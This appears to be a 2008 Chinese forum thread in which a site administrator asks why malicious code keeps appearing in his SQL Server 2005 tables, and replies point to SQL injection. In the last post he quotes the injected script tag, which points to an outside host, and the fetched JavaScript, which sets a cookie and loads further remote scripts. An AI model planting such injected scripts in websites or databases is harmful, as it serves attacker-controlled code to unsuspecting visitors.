sql 2005被插入恶意代码 - SQL Server数据库管理 - - 微软SQL Server专区

社区导航: 专家门诊网络技术操作系统数据库程序设计系统应用考试认证 CIO及信息化站长交流综合交流下载基地 51CTO产品服务

【设为首页 | 收藏本站】

51CTO技术论坛» 微软SQL Server专区 » SQL Server数据库管理 » sql 2005被插入恶意代码 [ 打印] [ 订阅] [ 收藏] [ 推荐给朋友] [ 本帖文本页]

论坛跳转:

该主题悬赏的20无忧币已被全部领完

ykul
新新人类

帖子 2
精华 0
无忧币 16
积分 6
阅读权限 20

注册日期 2008-3-12

最后登录 2008-7-16

离线

[查看资料] [发短消息] [Blog]

发表于:2008-5-16 12:04　　标题：sql 2005被插入恶意代码
＜上一帖 | 下一帖＞

SQL 2005+IIS，最近经常在数据库表中被插入恶意代码，每次都只好还原数据库，一周有3次左右吧，很是郁闷，请问是什么原因引起的被插入代码？服务器用了卡巴，瑞星，NOD都查了没有病毒，AVG也没查到木马，端口扫描也只开了80，和990端口~要崩溃了，请高手指教一下！

论坛活动：测测你对IT技术大会的了解指数(赠微软礼品、无忧币)

2008-5-16 12:04

1楼

[ 顶部 ]

n3tl04d

新新人类

帖子 50
精华 0
无忧币 419
积分 67
阅读权限 20

注册日期 2006-12-16

最后登录 2008-10-6

离线

[查看资料] [发短消息] [Blog]

[个人主页]

发表于:2008-5-16 17:05　

一般是网站被注入吧~

2008-5-16 17:05

2楼

[ 顶部 ]

dggh

新新人类

帖子 133
精华 0
无忧币 1087
积分 137
阅读权限 20

注册日期 2007-9-28

最后登录 2008-10-6

离线

[查看资料] [发短消息] [Blog]

发表于:2008-5-16 20:38　 ,被系统奖励 10 点无忧币

把数据库的登陆用户权限严格设置一下。检查asp代码中是否有引起sql注入的地方。

论坛活动：测测你对IT技术大会的了解指数(赠微软礼品、无忧币)

2008-5-16 20:38

3楼

[ 顶部 ]

ykul
新新人类

帖子 2
精华 0
无忧币 16
积分 6
阅读权限 20

注册日期 2008-3-12

最后登录 2008-7-16

离线

[查看资料] [发短消息] [Blog]

发表于:2008-5-19 09:41　 ,被系统奖励 10 点无忧币

网站是ASP.NET，数据库是SQL 2005,被插入的代码是:script src=http://s.see9.us/s.js,
我把，s.js下载代开后显示：
document.writeln("");
document.writeln(" ");
document.writeln(" ");
document.writeln("");
function Get(){
var Then = new Date()
Then.setTime(Then.getTime() + 24*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookie10="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{ document.cookie = "Cookie10=risb;expires="+ Then.toGMTString()
document.writeln("");
document.write("");
document.write ('']http://js.users.51.la/1878276.js">'[/url]);
document.write ('']http://js.users.51.la/1862271.js">'[/url]);
}
}Get();

论坛活动：测测你对IT技术大会的了解指数(赠微软礼品、无忧币)

2008-5-19 09:41

4楼

[ 顶部 ]

论坛跳转:

| | |

标记已读 · 删除论坛Cookies · 文本版 · WAP

本论坛言论纯属发布者个人意见，不代表51CTO网站立场！如有疑义，请与管理员联系。

用户名:	注册
密　码:
提　问:
回　答: